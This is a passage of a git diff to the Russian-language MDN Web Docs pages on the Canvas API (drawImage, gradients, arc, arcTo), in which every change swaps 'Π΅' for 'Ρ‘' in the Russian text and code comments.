-<p>Π­Ρ‚Π° функция Π²Π΅Ρ€Π½Π΅Ρ‚ {{domxref("HTMLVideoElement")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для этого Π²ΠΈΠ΄Π΅ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, ΠΊΠ°ΠΊ ΠΌΡ‹ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΈ Ρ€Π°Π½Π΅Π΅, являСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΒ <code>CanvasImageSource</code>.</p>
+<p>Π­Ρ‚Π° функция Π²Π΅Ρ€Π½Ρ‘Ρ‚ {{domxref("HTMLVideoElement")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ для этого Π²ΠΈΠ΄Π΅ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ, ΠΊΠ°ΠΊ ΠΌΡ‹ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΈ Ρ€Π°Π½Π΅Π΅, являСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΒ <code>CanvasImageSource</code>.</p>
<h2 id="РисованиС_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ">РисованиС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</h2>
@@ -154,7 +154,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs
<h2 id="ИзмСнСниС_Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ²">ИзмСнСниС Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ²</h2>
-<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>drawImage()</code> добавляСт Π΄Π²Π° Π½ΠΎΠ²Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΈ позволяСт Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Β Β canvas с ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ.</p>
+<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>drawImage()</code> добавляСт Π΄Π²Π° Π½ΠΎΠ²Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΈ позволяСт Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Β Β canvas с ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ.</p>
<dl>
<dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y, width, height)")}}</dt>
@@ -163,7 +163,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_Π’Π°ΠΉΠ»ΠΈΠ½Π³_изобраТСния">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: Π’Π°ΠΉΠ»ΠΈΠ½Π³ изобраТСния</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² качСствС ΠΎΠ±ΠΎΠ΅Π² ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΠΌ Π΅Π³ΠΎ Π² canvas нСсколько Ρ€Π°Π·. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сдСлано просто Ρ‡Π΅Ρ€Π΅Π· Ρ†ΠΈΠΊΠ», располагая ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Π΅ изобраТСния Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… позициях. Π’ ΠΊΠΎΠ΄Π΅ Π²Π½ΠΈΠ·Ρƒ, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ†ΠΈΠΊΠ» <code>for</code> ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎ рядам. Π’Ρ‚ΠΎΡ€ΠΎΠΉ Ρ†ΠΈΠΊΠ» <code>for</code> ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΎ Π½Π° Ρ‚Ρ€Π΅Ρ‚ΡŒ ΠΎΡ‚ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎΒ Β 50x38 пиксСлСй.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² качСствС ΠΎΠ±ΠΎΠ΅Π² ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΠΌ Π΅Π³ΠΎ Π² canvas нСсколько Ρ€Π°Π·. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сдСлано просто Ρ‡Π΅Ρ€Π΅Π· Ρ†ΠΈΠΊΠ», располагая ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Π΅ изобраТСния Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… позициях. Π’ ΠΊΠΎΠ΄Π΅ Π²Π½ΠΈΠ·Ρƒ, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ†ΠΈΠΊΠ» <code>for</code> ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎ рядам. Π’Ρ‚ΠΎΡ€ΠΎΠΉ Ρ†ΠΈΠΊΠ» <code>for</code> ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΎ Π½Π° Ρ‚Ρ€Π΅Ρ‚ΡŒ ΠΎΡ‚ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎΒ Β 50x38 пиксСлСй.</p>
<div class="note">
<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>: Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ ΠΌΠΎΠ³ΡƒΡ‚ ΡΡ‚Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΡ‹Ρ‚Ρ‹ΠΌΠΈ, ΠΏΡ€ΠΈ большом ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠΈ ΠΈΠ»ΠΈ зСрнистыми ΠΏΡ€ΠΈ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΠΈ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π»ΡƒΡ‡ΡˆΠ΅ всСго Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ изобраТСния, Ссли Π½Π° Π½ΠΈΡ… Π΅ΡΡ‚ΡŒ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡΡ‚Π°Ρ‚ΡŒΡΡ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌ.Β </p>
@@ -197,7 +197,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs
<h2 id="НарСзка">НарСзка</h2>
-<p>Π£ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎΒ ΠΈ послСднСго варианта ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>drawImage()</code>Β Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΊ источнику изобраТСния Π΅ΡΡ‚ΡŒ Π΅Ρ‰Π΅Β Π²ΠΎΡΠ΅ΠΌΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² . Он позволяСт Π½Π°ΠΌ Π²Ρ‹Ρ€Π΅Π·Π°Ρ‚ΡŒ кусок ΠΈΠ· изобраТСния, Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π²Β canvas.</p>
+<p>Π£ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎΒ ΠΈ послСднСго варианта ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>drawImage()</code>Β Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΊ источнику изобраТСния Π΅ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘Β Π²ΠΎΡΠ΅ΠΌΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² . Он позволяСт Π½Π°ΠΌ Π²Ρ‹Ρ€Π΅Π·Π°Ρ‚ΡŒ кусок ΠΈΠ· изобраТСния, Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π²Β canvas.</p>
<dl>
<dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}</dt>
@@ -210,7 +210,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_ΠžΠ±Ρ€Π°ΠΌΠ»Π΅Π½ΠΈΠ΅_изобраТСния">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: ΠžΠ±Ρ€Π°ΠΌΠ»Π΅Π½ΠΈΠ΅ изобраТСния</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ носорога, Ρ‡Ρ‚ΠΎ ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π½ΠΎ ΠΌΡ‹ ΠΎΡ‚Ρ€Π΅ΠΆΠ΅ΠΌ Π΅Π³ΠΎ Π³ΠΎΠ»ΠΎΠ²Ρƒ ΠΈ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠΌ Π΅Π΅ Π² Ρ€Π°ΠΌΠΊΡƒ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ€Π°ΠΌΠΊΠΈ это 24-Ρ… Π±ΠΈΡ‚Π½Ρ‹ΠΉΒ PNG, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΏΠ°Π΄Π°ΡŽΡ‰ΡƒΡŽ Ρ‚Π΅Π½ΡŒ.Β Π’Π°ΠΊ ΠΊΠ°ΠΊ Π² 24-Ρ… Π±ΠΈΡ‚Π½Ρ‹Π΅Β PNG ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡΒ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΏΠΎΠ»Π½Ρ‹ΠΉ 8-ΠΌΠΈ Π±ΠΈΡ‚Π½Ρ‹ΠΉ Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π», Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Β GIF ΠΈ 8-Π±ΠΈΡ‚Π½Ρ‹Ρ… PNG ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² любой Ρ„ΠΎΠ½, Π±Π΅Π· бСспокойства ΠΎ ΠΌΠ°Ρ‚ΠΎΠ²ΠΎΠΌ Ρ†Π²Π΅Ρ‚Π΅.Β </p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ носорога, Ρ‡Ρ‚ΠΎ ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π½ΠΎ ΠΌΡ‹ ΠΎΡ‚Ρ€Π΅ΠΆΠ΅ΠΌ Π΅Π³ΠΎ Π³ΠΎΠ»ΠΎΠ²Ρƒ ΠΈ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠΌ Π΅Ρ‘ Π² Ρ€Π°ΠΌΠΊΡƒ. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ€Π°ΠΌΠΊΠΈ это 24-Ρ… Π±ΠΈΡ‚Π½Ρ‹ΠΉΒ PNG, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΏΠ°Π΄Π°ΡŽΡ‰ΡƒΡŽ Ρ‚Π΅Π½ΡŒ.Β Π’Π°ΠΊ ΠΊΠ°ΠΊ Π² 24-Ρ… Π±ΠΈΡ‚Π½Ρ‹Π΅Β PNG ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡΒ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΏΠΎΠ»Π½Ρ‹ΠΉ 8-ΠΌΠΈ Π±ΠΈΡ‚Π½Ρ‹ΠΉ Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π», Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Β GIF ΠΈ 8-Π±ΠΈΡ‚Π½Ρ‹Ρ… PNG ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² любой Ρ„ΠΎΠ½, Π±Π΅Π· бСспокойства ΠΎ ΠΌΠ°Ρ‚ΠΎΠ²ΠΎΠΌ Ρ†Π²Π΅Ρ‚Π΅.Β </p>
<pre class="brush: html">&lt;html&gt;
Β &lt;body onload="draw();"&gt;
@@ -300,7 +300,7 @@ td {
// НС добавляСт canvas для изобраТСния Ρ€Π°ΠΌΠΊΠΈ
if (document.images[i].getAttribute('id')!='frame'){
- // Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ элСмСнт canvas
+ // Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ элСмСнт canvas
var canvas = document.createElement('canvas');
canvas.setAttribute('width',132);
canvas.setAttribute('height',150);
diff --git a/files/ru/web/api/canvascapturemediastreamtrack/index.html b/files/ru/web/api/canvascapturemediastreamtrack/index.html
index 9705e65314..ecfbf9756b 100644
--- a/files/ru/web/api/canvascapturemediastreamtrack/index.html
+++ b/files/ru/web/api/canvascapturemediastreamtrack/index.html
@@ -49,7 +49,7 @@ translation_of: Web/API/CanvasCaptureMediaStreamTrack
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>ΠΈ ΠΏΠΎΡˆΠ»ΠΈΡ‚Π΅ Π½Π°ΠΌΠΈ запрос тяги.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>ΠΈ ΠΏΠΎΡˆΠ»ΠΈΡ‚Π΅ Π½Π°ΠΌΠΈ запрос тяги.</div>
<p>{{Compat ("api.CanvasCaptureMediaStreamTrack")}}</p>
</div>
diff --git a/files/ru/web/api/canvasgradient/index.html b/files/ru/web/api/canvasgradient/index.html
index d3e23dc501..2b5a45212c 100644
--- a/files/ru/web/api/canvasgradient/index.html
+++ b/files/ru/web/api/canvasgradient/index.html
@@ -24,7 +24,7 @@ translation_of: Web/API/CanvasGradient
<dl>
<dt>{{domxref("CanvasGradient.addColorStop()")}}</dt>
- <dd>ДобавляСт Π² Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€, опрСдСляСмый смСщСниСм ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠΌ. <code>Если смСщСниС Π²Ρ…ΠΎΠ΄Π΄ΠΈΡ‚ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ 0</code> ΠΈ <code>1</code>, гСнСрируСтся <code>INDEX_SIZE_ERR</code>. Если Π½Π΅ удаСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ ΠΊΠ°ΠΊ CSS {{cssxref("&lt;color&gt;")}}, гСнСрируСтся <code>SYNTAX_ERR</code>.</dd>
+ <dd>ДобавляСт Π² Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€, опрСдСляСмый смСщСниСм ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠΌ. <code>Если смСщСниС Π²Ρ…ΠΎΠ΄Π΄ΠΈΡ‚ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ 0</code> ΠΈ <code>1</code>, гСнСрируСтся <code>INDEX_SIZE_ERR</code>. Если Π½Π΅ удаётся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ ΠΊΠ°ΠΊ CSS {{cssxref("&lt;color&gt;")}}, гСнСрируСтся <code>SYNTAX_ERR</code>.</dd>
</dl>
<h2 id="Π₯арактСристики"><span class="short_text" id="result_box" lang="ru"><span>Π₯арактСристики</span></span></h2>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/arc/index.html b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html
index fe39629a52..0d8a97de99 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/arc/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html
@@ -41,7 +41,7 @@ translation_of: Web/API/CanvasRenderingContext2D/arc
<h3 id="Using_the_arc_method" name="Using_the_arc_method">ИспользованиС ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>arc</code></h3>
-<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ простого ΠΊΠΎΠ΄Π°Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ рисуСт круг.</p>
+<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ простого ΠΊΠΎΠ΄Π°Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ рисуСт круг.</p>
<h4 id="HTML">HTML</h4>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html
index 3e74f3015b..d1b461f3b1 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html
@@ -41,7 +41,7 @@ translation_of: Web/API/CanvasRenderingContext2D/arcTo
<h3 id="Как_Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚_arcTo">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ arcTo</h3>
-<p>Один ΠΈΠ· способов ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ <code>arcTo()</code> - ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΄Π²Π΅ прямыС линии: ΠΎΠ΄Π½Π° ΠΈΠ΄Ρ‘Ρ‚ ΠΎΡ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅, Π° вторая ΠΎΡ‚ этой Ρ‚ΠΎΡ‡ΠΊΠΈ Π΄ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ. Π‘Π΅Π· <code>arcTo()</code> эти Π΄Π²Π° сСгмСнта ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π»ΠΈ Π±Ρ‹ острый ΡƒΠ³ΠΎΠ»: <code>arcTo()</code> создаСт Π΄ΡƒΠ³Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ этими двумя Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΈ сглаТиваСт Π΅Π³ΠΎ. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π΄ΡƒΠ³Π° являСтся ΠΊΠ°ΡΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ для ΠΎΠ±Π΅ΠΈΡ… Π»ΠΈΠ½ΠΈΠΉ.</p>
+<p>Один ΠΈΠ· способов ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ <code>arcTo()</code> - ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΄Π²Π΅ прямыС линии: ΠΎΠ΄Π½Π° ΠΈΠ΄Ρ‘Ρ‚ ΠΎΡ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅, Π° вторая ΠΎΡ‚ этой Ρ‚ΠΎΡ‡ΠΊΠΈ Π΄ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ. Π‘Π΅Π· <code>arcTo()</code> эти Π΄Π²Π° сСгмСнта ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π»ΠΈ Π±Ρ‹ острый ΡƒΠ³ΠΎΠ»: <code>arcTo()</code> создаёт Π΄ΡƒΠ³Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ этими двумя Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΈ сглаТиваСт Π΅Π³ΠΎ. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π΄ΡƒΠ³Π° являСтся ΠΊΠ°ΡΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ для ΠΎΠ±Π΅ΠΈΡ… Π»ΠΈΠ½ΠΈΠΉ.</p>
<h4 id="HTML">HTML</h4>
@@ -87,7 +87,7 @@ ctx.fill();</pre>
<p>{{ EmbedLiveSample('Как_Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚_arcTo', 315, 165) }}</p>
-<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_скруглСнного_ΡƒΠ³Π»Π°">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ скруглСнного ΡƒΠ³Π»Π°</h3>
+<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_скруглённого_ΡƒΠ³Π»Π°">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ скруглённого ΡƒΠ³Π»Π°</h3>
